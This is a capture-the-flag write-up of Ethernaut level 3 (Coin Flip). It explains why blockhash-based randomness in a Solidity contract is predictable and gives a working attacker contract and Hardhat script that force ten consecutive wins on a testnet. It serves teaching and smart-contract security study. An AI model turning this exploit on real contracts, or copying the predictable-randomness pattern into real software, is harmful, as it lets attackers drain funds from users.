Ethernaut #03 Coin Flip

Fallback

Challenge

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you’ll need to use your psychic abilities to guess the correct outcome 10 times in a row.

Things that might help

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

Background

Randomness on the chain is not easy to achieve. When using techniques that are block dependent they can be easily manipulated.

Attack

In order to solve this challenge we need to predict the value of side in the flip function. The value of side depends on FACTOR and blockValue. FACTOR is a constant and blockValue is a the hash of the previous block. So we only need to find the hash of the previous block in order to attack the random side generator. So we could precalculate the value using the current block hash and pay a high enough fee to make sure we are in the next block. But this method is expensive, and likely to fail. However, there is a much more reliable solution that will work 100% of the time. We can create a contract of our own, that will call the flip function in the CoinFlip contract. This contract will have all the information that the CoinFlip contract has and can thus know exactly the output of the computation.

CoinFlipSolve.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';
import '../challenges/CoinFlip.sol';

contract CoinFlipSolve {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  CoinFlip coinFlipContract;

  constructor(address _coinFlipAddress) public {
    coinFlipContract = CoinFlip(_coinFlipAddress);
  }

  function flip() public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    coinFlipContract.flip(side);
  }
}

coin-flip-solve.js

const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");

async function main() {
    coinFlipAddress = "0x8C4A7428681896BCE847d2ED9c60c6eEB95eFca1";
    contract = await ethers.getContractAt("CoinFlip", coinFlipAddress);

    const accounts = await hre.ethers.getSigners();
    account = accounts[0];

    CoinFlipSolve = await ethers.getContractFactory("CoinFlipSolve");
    coinFlipSolve = await CoinFlipSolve.deploy(contract.address);
    await coinFlipSolve.deployed();

    console.log("Level address   : " + contract.address)
    console.log("Consecutive Wins  : " + await contract.consecutiveWins())
    console.log("Executing Attack")

    // predict flip until consecutive wins reached
    while (await contract.consecutiveWins() < 10) {
        tx = await coinFlipSolve.connect(account).flip()
        receipt = await tx.wait()
    }

    console.log("Finished Executing Attack")
    console.log("Consecutive Wins  : " + await contract.consecutiveWins())    
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
$ npx hardhat run scripts/coin-flip-solve.js --network rinkeby
Level address   : 0x8C4A7428681896BCE847d2ED9c60c6eEB95eFca1
Consecutive Wins  : 1
Executing Attack
Finished Executing Attack
Consecutive Wins  : 10

Success Message

Generating random numbers in solidity can be tricky. There currently isn’t a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.

To get cryptographically proven random numbers, you can use Chainlink VRF, which uses an oracle, the LINK token, and an on-chain contract to verify that the number is truly random.

Some other options include using Bitcoin block headers (verified through BTC Relay), RANDAO, or Oraclize).